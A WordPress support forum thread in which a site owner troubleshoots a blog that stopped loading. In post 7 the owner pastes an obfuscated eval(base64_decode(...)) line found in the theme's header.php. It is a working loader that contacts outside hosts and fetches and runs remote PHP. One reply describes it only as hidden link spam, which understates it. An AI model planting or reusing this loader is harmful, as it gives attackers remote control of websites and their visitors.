WordPress.org

1. hhall72
   Member
   Posted 3 years ago #

   My site, http://cybersteward.net/ hasn't been loading the past couple days.

   There are no error messages. All that happens when you try to visit is that it takes forever and all that eventually shows up is the background color of the theme -- nothing else.

   I know the files are still there, but I can't access the admin section or anything but the background color of the theme.

   I'm running the latest version, and the site was fully functional as recent as last Friday. I haven't changed anything since last Tuesday (and that was just adding a post).

   I have a very basic understanding of maintaining my site, but I would greatly appreciate any help anyone could offer to turn this problem around.

2. stvwlf
   Member
   Posted 3 years ago #

   Hi

   Have you added any new plugins recently? How about WordPress Mobile Plugin? Because that is the last output of code on your homepage, that plugin. Try disabling any recently installed plugins, and see if that resolves the problem.

   If so, turn the disabled ones back on, one at a time, until you find the one that is causing the problem. Post back if you find its not plugins. If not, the next thing I suggest is temporarily switch to the default theme and see if it works then. That tells you whether its the one theme or something that's affecting all themes.

   I suggest you deal with the plugins first though.

3. hhall72
   Member
   Posted 3 years ago #

   I have no recently installed plugins, but I did have the mobile plugin sitting there. I just deleted it via ftp (I have no access to the admin section), but no luck yet.

   Is there a way to switch themes and perform other admin tasks without admin access?

4. stvwlf
   Member
   Posted 3 years ago #

   Oh, I forgot you couldn't access the admin section.

   I've been reading on the forum that some cases like this are due to inadequate memory available for PHP - WordPress likes to have 32 megabytes.

   For starters using FTP check the root WP installation folder for a file called error_log. If its there, see if any relevant errors are being logged.

   you can check the memory by creating a PHP file called phpinfo.php
   add this one line to it <? phpinfo() ?> and put that file in the root folder of your website. then go to http://cybersteward.net/phpinfo.php

   In the section PHP Core, see what your memory limit is set to. If there were any memory error messages in the log, or if that setting is much less than 32 megs, ask your webhost how you change the setting to 32 megabytes.

   do not leave that phpinfo.php file on your server as hackers look for it since it reveals all kinds of info on how the site is configured.

5. hhall72
   Member
   Posted 3 years ago #

   I did the phpinfo file, but I couldn't locate a "memory limit" number in the php core section.

   That aside, the site came back online (for reasons unknown to me) later yesterday, but the following warning appears above the site content:

   Warning: fclose(): supplied argument is not a valid stream resource in /home/content/c/y/b/cybersmedley/html/cs/wp-content/themes/quadruple-blue/header.php(20) : eval()'d code on line 1

   I have no idea what it means. I've never altered the beginning of the header file and it appears to be in its original state. However when I switch themes, the warning does go away. I'm utterly perplexed.

6. hhall72
   Member
   Posted 3 years ago #

   I've added my concern to another post, which seems similar to my current issue:
   http://wordpress.org/support/topic/268707?replies=5#post-1071788

   also, I've posted my header.php file at:
   http://wordpress.pastebin.ca/1420238

7. hhall72
   Member
   Posted 3 years ago #

   Okay, I found the offending line:

   <?php eval(base64_decode('aWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNzci5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3Bzc3IiOyBlbHNlaWYoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNiA9IEBmc29ja29wZW4oInd3dy53cHNuYy5jb20iLCA4MCwgJFIzMkQwMDA3MEQ0RkZCQ0NFMkZDNjY5QkJBODEyRDRDMiwgJFI1RjUyNUY1QjM5OERBREQ3Q0YwNzg0QkQ0MDYyOThFMywgMykpICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMiOyBlbHNlICRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUgPSAid3BzbmMyIjsgQGV2YWwoJyRSMTRBRjFCRTlFRTI2QTkwOTIxRTY0QTgyRTc4MzY3OTcgPSAxOycpOyBpZigkUjE0QUYxQkU5RUUyNkE5MDkyMUU2NEE4MkU3ODM2Nzk3IEFORCBpbmlfZ2V0KCdhbGxvd191cmxfZm9wZW4nKSkgeyAgJFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5NiA9ICIxIjsgICRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUgPSAiaHR0cDovL3d3dy4kUjUwRjVGOUM4MEYxMkZGQUU4QjI0MDA1MjhFODFCMzRFLmNvbS93JFJEM0ZFOUMxMEE4MDhBNTRFQTJBM0RCRDlFNjA1QjY5Ni5waHA/dXJsPSIuIHVybGVuY29kZSgkX1NFUlZFUlsnUkVRVUVTVF9VUkknXSkgLiImIi4gImhvc3Q9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydIVFRQX0hPU1QnXSk7ICAkUjNFMzNFMDE3Q0Q3NkI5QjdFNkM3MzY0RkI5MUUyRTkwID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRSNkU0RjE0QjMzNTI0M0JFNjU2QzY1RTNFRDlFMUIxMTUpOyAgQGV2YWwoJFIzRTMzRTAxN0NENzZCOUI3RTZDNzM2NEZCOTFFMkU5MCk7IH0gZWxzZSB7ICAkUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2ID0gIjAiOyAgJFI2RTRGMTRCMzM1MjQzQkU2NTZDNjVFM0VEOUUxQjExNSA9ICJodHRwOi8vd3d3LiRSNTBGNUY5QzgwRjEyRkZBRThCMjQwMDUyOEU4MUIzNEUuY29tL3ckUkQzRkU5QzEwQTgwOEE1NEVBMkEzREJEOUU2MDVCNjk2LnBocD91cmw9Ii4gdXJsZW5jb2RlKCRfU0VSVkVSWydSRVFVRVNUX1VSSSddKSAuIiYiLiAiaG9zdD0iLiB1cmxlbmNvZGUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKTsgIEByZWFkZmlsZSgkUjZFNEYxNEIzMzUyNDNCRTY1NkM2NUUzRUQ5RTFCMTE1KTsgfSBmY2xvc2UoJFIzN0MwMTREQUU1RkU0RkU1Qzc3QjY3MzVBQkMzMDkxNik7')); ?>

   No idea whatsoever how it got there (if I put it there, I don't know when or why, and it could not have been in the past six months), but once removed the site functions well again.

   Thanks for the willingness to help out :)

8. stvwlf
   Member
   Posted 3 years ago #

   That is a line of crap code usually in footer.php, put there by theme developers who get paid by sites, often spam sites, to encode links to their site in the footer of a WP theme in a way that the site user can't see it, find it, or remove it, for the purpose of having links to their site coming from hundreds of sites using that WP theme, raising the site's Google visibility. It is highly recommended on this forum to not use themes containing that kind of code, not only because of what happened to you, but also because the nature of that practice runs against everything WordPress was intended to be.

9. hhall72
   Member
   Posted 3 years ago #

   stvwlf,

   That's what confuses me -- it does not appear in the original file on my computer, so I have no idea who put it there. Is there a way it could have been put there after I uploaded the theme?

10. iridiax
    Member
    Posted 3 years ago #

    Check the theme's functions.php.

11. hhall72
    Member
    Posted 3 years ago #

    iridiax,

    Here it is in its entirety:

    <?php if ( function_exists('register_sidebar') ) register_sidebars(3);?>

12. iridiax
    Member
    Posted 3 years ago #

    This kind of weird code can also be from a plugin or from hacking.

Topic Closed

This topic has been closed to new replies.